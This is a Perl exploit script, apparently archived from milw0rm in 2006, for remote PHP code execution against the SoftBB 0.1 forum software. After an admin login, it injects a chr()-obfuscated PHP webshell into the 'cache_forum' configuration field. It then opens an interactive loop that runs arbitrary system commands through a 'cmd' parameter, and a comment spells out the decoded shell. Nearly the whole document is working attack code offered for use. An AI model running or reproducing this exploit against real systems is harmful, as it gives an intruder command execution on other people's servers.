SoftBB 0.1 (cmd) Remote Command Execution Exploit

                                                #!/usr/bin/perl
#
# Affected.scr..: SoftBB 0.1
# Poc.ID........: 11060904
# Type..........: PHP code execution, SQL Injection, Full Path Disclosure
# Risk.level....: High
# Vendor.Status.: Unpatched
# Src.download..: softbb.be
# Poc.link......: acid-root.new.fr/poc/11060904.txt
# Advisory.link.: acid-root.new.fr/advisories/10060904.txt
# Credits.......: DarkFig (vuln/exploit/shellcode)
#
use Getopt::Long;
use HTTP::Cookies;
use HTTP::Request;
use HTTP::Request::Common "POST";
use HTTP::Response;
use LWP::UserAgent;

print STDOUT "\n+", '-' x 69, "+\n";
print STDOUT "|            SoftBB 0.1 Remote PHP Code Execution Exploit             |\n";
print STDOUT '+', '-' x 69, "+\n";

my($host,$path,$admin,$passwd,$proxh,$proxu,$proxp);
my $opt = GetOptions(
   'host=s'   =>  \$host,
   'path=s'   =>  \$path,
   'admin=s'  =>  \$admin,
   'passwd=s' =>  \$passwd,
   'proxh=s'  =>  \$proxh,
   'proxu=s'  =>  \$proxu,
   'proxp=s'  =>  \$proxp);
   
if(!$host or !$admin or !$passwd) {
    print STDOUT "| Usage: ./xx.pl --host=[www] --path=[/] --admin=[root] --passwd=[XD] |\n";
    print STDOUT "| [Options] : --proxh=[host] --proxu=[username] --proxp=[password] ---|\n";
    print STDOUT '+', '-' x 69, "+\n";
    exit(0);
}

if($host  !~ /http/) {$host = 'http://'.$host;}
if($proxh !~ /http/ && $proxh != '') {$proxh = 'http://'.$proxh.'/';}
if(!$path) {$path = '/';}

my $cc = HTTP::Cookies->new();
my $ua = LWP::UserAgent->new();
   $ua->cookie_jar($cc);
   $ua->agent('0xzilla');
   $ua->timeout(30);
   $ua->proxy(['http'] => $proxh) if $proxh;

my $re = POST $host.$path.'login.php', [
         'pseudolog' => $admin,
         'mdp'       => $passwd,
         'souvenir'  => 'auto',
         'Submit'    => 'Connexion'
         ];
   $re->proxy_authorization_basic($proxu, $proxp) if $proxp;
   $ua->request($re);

my $re = $ua->get($host.$path.'admin/gest_opt.php');

if($re->content =~ /Administration/) {
   print STDOUT " [+]Login successful";} else {
   print STDOUT " [-]Error during login";
   print STDOUT '+', '-' x 69, "+\n";
   exit(0);}

if($re->content =~ /<input type="text" name="nomduforum"  value="(.*?)" class="bouton" \/>/) {
   $conf[0] = $1;} else {
   $conf[0] = 'Titre';}

if($re->content =~ /<input type="text" name="mailadmin" value="(.*?)" class="bouton" \/>/) {
   $conf[1] = $1; } else {
   $conf[1] = '[email protected]';}

   # Bypass magic_quotes_gpc and register_globals limits
   # if(isset($_GET['cmd'])){system(stripslashes($_GET['cmd']));}

my $shcode  = "\n".'$shcode  = chr(0x69).chr(0x66).chr(0x28).chr(0x69).chr(0x73).chr(0x73).chr(0x65);';
   $shcode .= "\n".'$shcode .= chr(0x74).chr(0x28).chr(0x24).chr(0x5F).chr(0x47).chr(0x45).chr(0x54);';
   $shcode .= "\n".'$shcode .= chr(0x5B).chr(0x27).chr(0x63).chr(0x6D).chr(0x64).chr(0x27).chr(0x5D);';
   $shcode .= "\n".'$shcode .= chr(0x29).chr(0x29).chr(0x7B).chr(0x73).chr(0x79).chr(0x73).chr(0x74);';
   $shcode .= "\n".'$shcode .= chr(0x65).chr(0x6D).chr(0x28).chr(0x73).chr(0x74).chr(0x72).chr(0x69);';
   $shcode .= "\n".'$shcode .= chr(0x70).chr(0x73).chr(0x6C).chr(0x61).chr(0x73).chr(0x68).chr(0x65);';
   $shcode .= "\n".'$shcode .= chr(0x73).chr(0x28).chr(0x24).chr(0x5F).chr(0x47).chr(0x45).chr(0x54);';
   $shcode .= "\n".'$shcode .= chr(0x5B).chr(0x27).chr(0x63).chr(0x6D).chr(0x64).chr(0x27).chr(0x5D);';
   $shcode .= "\n".'$shcode .= chr(0x29).chr(0x29).chr(0x3B).chr(0x7D).chr(0x0D).chr(0x0A);';
   $shcode .= "\n".'eval($shcode);//';

my $re = POST $host.$path.'admin/save_opt.php', [
         'nomduforum'       => $conf[0],        'url'              => $host.$path,
         'mailadmin'        => $conf[1],        'smtp'             => '',
         'nbsondage'        => 0,               'gzip'             => 'false',
         'autmodpseudo'     => 'false',         'afflistdelauto'   => 'true',
         'autorisationsign' => 'true',          'bbcodesign'       => 'true',
         'ipaff'            => 'true',          'affreprapide'     => 'false',
         'mailconf'         => 'false',         'cache_forum'      => "false; $shcode",
         'lockforum'        => 'false',         'message_de_lock'  => '',
         'lmax'             => 0,               'hmax'             => 0,
         'pmax'             => 0,               'tmpfreepost'      => 0,
         'membreparpage'    => 0,               'postparpage'      => 0,
         'postparpageaff'   => 0,               'Submit'           => 'Enregistrer+les+options',
         ];

my $da = $ua->request($re);
if($da->content =~ /Enregistrement/) {
   print STDOUT "\n [+]Shellcode should be written !";}
   
while () {
       print STDOUT "\n \$sh: ";
       chomp($cmd = <STDIN>);
       my $da = $ua->get($host.$path."info_options.php?cmd=$cmd");
       print STDOUT $da->content;
       if($cmd eq "exit") {
          print STDOUT '+', '-' x 69, "+\n";
          exit(0);}
}

# milw0rm.com [2006-09-04]